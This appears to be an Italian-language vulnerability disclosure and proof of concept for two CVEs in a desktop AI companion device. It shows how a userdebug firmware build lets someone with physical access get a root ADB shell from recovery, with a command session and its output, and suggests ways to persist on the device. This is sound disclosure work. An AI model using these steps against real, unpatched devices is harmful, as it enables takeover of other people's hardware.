Proof of concept per CVE-2026-36027 e CVE-2026-36028
Il Code 27 3D Companion Hub è un dispositivo fisico da scrivania che renderizza un personaggio AI personalizzato (un "Codie") come compagno 3D animato. Gli utenti possono caricare o creare qualsiasi modello 3D e l'AI multimodale consente al personaggio di vedere l'ambiente circostante, leggere il tono e il linguaggio del corpo e intrattenere conversazioni aperte.
Questo documento tratta due vulnerabilità che richiedono l'accesso fisico al dispositivo. Entrambe sono state validate sulla build indicata di seguito e, al momento della pubblicazione, non sono ancora state corrette.
| Campo | Valore |
|---|---|
| Prodotto | Code 27 3D Companion Hub |
| Versione UI Companion Hub | 1.2.0 |
| SoC / scheda | Rockchip RK3588S (rk3588s_yt921) |
| Sistema operativo | Android 12 |
| ID build | SQ3A.220705.003.A1 |
| Fingerprint completa | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| Tipo di build | userdebug / release-keys |
Il firmware fornito in dotazione è una build userdebug (visibile nel banner di recovery e in ro.build.display.id). Le build userdebug consentono di riavviare adbd come root tramite adb root, un elemento chiave che rende possibile l'esistenza di CVE-2026-36027.
Un attaccante fisicamente vicino al dispositivo può avviare il Companion Hub in Android recovery e ottenere una shell ADB con privilegi di root (uid=0, contesto SELinux u:r:su:s0). Poiché il dispositivo viene fornito con una build userdebug, adbd può essere riavviato come root con adb root, offrendo all'attaccante l'interazione in lettura/scrittura con l'ambiente di recovery, la possibilità di enumerare le proprietà di build e hardware e l'accesso alle funzioni di recovery (sideload, fastboot, operazioni sulle partizioni).
L'accesso ottenuto è all'interno del ramdisk di recovery, non nel runtime Android attivo. Nei test, l'azione Mount /system della recovery falliva (libfs_mgr non poteva aprire /dev/block/by-name/system), quindi la partizione di sistema non veniva montata direttamente tramite questo percorso e l'ambiente utente avviato, con il kiosk e gli eventuali dati utente decifrati, non è presente in questa modalità.
Questo è comunque rilevante perché l'accesso root all'ambiente di recovery è il fondamento per modificare lo stato persistente del dispositivo (ad esempio, scrivendo sulle partizioni o applicando un pacchetto di aggiornamento creato ad hoc) in modo che un codice controllato dall'attaccante possa essere eseguito a un successivo avvio normale, stabilendo un punto d'appoggio sul dispositivo attivo.
Mount /system, evidenziarlo e confermare. Sembrerà che fallisca. È un comportamento previsto e l'exploit funziona comunque. (Il log di recovery mostra libfs_mgr che non riesce ad aprire /dev/block/by-name/system.)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12